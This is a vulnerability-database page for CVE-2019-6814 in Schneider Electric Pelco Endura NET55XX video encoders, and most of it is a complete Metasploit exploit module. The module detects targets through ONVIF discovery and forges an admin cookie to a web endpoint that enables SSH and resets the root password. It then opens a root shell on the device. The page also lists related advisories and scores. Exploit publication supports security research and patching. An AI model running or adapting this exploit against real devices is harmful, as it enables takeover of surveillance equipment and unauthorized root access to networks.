Schneider Electric Pelco Endura NET55XX Encoder

🗓️ 27 Jul 2019 00:00:00Reported by Lucas DinucciType

packetstorm🔗 packetstormsecurity.com👁 563 Views

Schneider Electric Pelco Endura NET55XX Encoder enables SSH service and root password change through inadequate webUI access controls. Tested on various NET55XX versions

Reporter	Title	Published	Views	Family All 15
0day.today	Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass Exploit	29 Jul 201900:00	–	zdt
BDU FSTEC	The vulnerability of Pelco Endura video server microprogramming software, related to access control errors, allows intruders to compromise the confidentiality, integrity, and accessibility of protected information.	18 Jun 201900:00	–	bdu_fstec
Circl	CVE-2019-6814	22 May 201920:48	–	circl
CNVD	Schneider Electric NET55XX Encoder Access Control Error Vulnerability	22 May 201900:00	–	cnvd
Check Point Advisories	Schneider Electric Pelco Endura Authentication Bypass (CVE-2019-6814)	11 Aug 201900:00	–	checkpoint_advisories
CVE	CVE-2019-6814	22 May 201919:38	–	cve
Cvelist	CVE-2019-6814	22 May 201919:38	–	cvelist
Exploit DB	Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)	29 Jul 201900:00	–	exploitdb
Metasploit	Schneider Electric Pelco Endura NET55XX Encoder	11 Jul 201918:10	–	metasploit
NVD	CVE-2019-6814	22 May 201920:29	–	nvd

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Schneider Electric Pelco Endura NET55XX Encoder",  
'Description' => %q(  
This module exploits inadequate access controls within the webUI to enable  
the SSH service and change the root password. This module has been tested successfully  
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Lucas Dinucci <[email protected]>',  
'Vitor Esperança <[email protected]>'  
],  
'References' =>  
[  
['CVE', '2019-6814'],  
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']  
],  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [ [ "Universal", {} ] ],  
'Privileged' => true,  
'DisclosureDate' => "Jan 25 2019",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),  
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def new_password  
datastore['NEW_PASSWORD']  
end  
  
def check  
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\  
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\  
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\  
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\  
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\  
'<a:ReplyTo>'\  
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\  
'</a:ReplyTo>'\  
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\  
'</Header>'\  
'<Body>'\  
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\  
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\  
'</Probe>'\  
'</Body>'\  
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'  
  
connect_udp(true, {'RPORT' => datastore['UDP_PORT']})  
udp_sock.put(xmlPayload)  
resp = []  
resp << udp_sock.get(datastore['TIMEOUT'])  
xmlResponse = resp.join(',')  
disconnect_udp  
if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")  
return Exploit::CheckCode::Appears  
end  
CheckCode::Safe  
end  
  
def change_password  
print_status("#{peer} - Attempt to change the root password...")  
post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json  
  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),  
'data' => post,  
'headers' =>  
{  
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',  
'Content-Type' => 'application/json;charset=utf-8'  
}  
}, timeout=datastore['TIMEOUT'])  
  
fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200  
print_good("#{rhost}:80 - Successfully changed the root password...")  
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")  
end  
  
def do_login  
change_password  
print_status("#{rhost}:22 - Attempt to start a SSH connection...")  
factory = ssh_socket_factory  
opts = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:port => 22,  
:use_agent => false,  
:config => true,  
:password => new_password,  
:proxy => factory,  
:non_interactive => true,  
:verify_host_key => :never  
}  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)  
end  
rescue Rex::ConnectionError  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:22 SSH - Disconnected during negotiation"  
rescue ::Timeout::Error  
print_error "#{rhost}:22 SSH - Timed out during negotiation"  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:22 SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"  
end  
if ssh  
conn = Net::SSH::CommandStream.new(ssh)  
return conn  
end  
end  
  
def exploit  
conn = do_login  
if conn  
print_good("#{rhost}:22 - Session established ")  
handler(conn.lsock)  
end  
end  
end  
`

27 Jul 2019 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.66933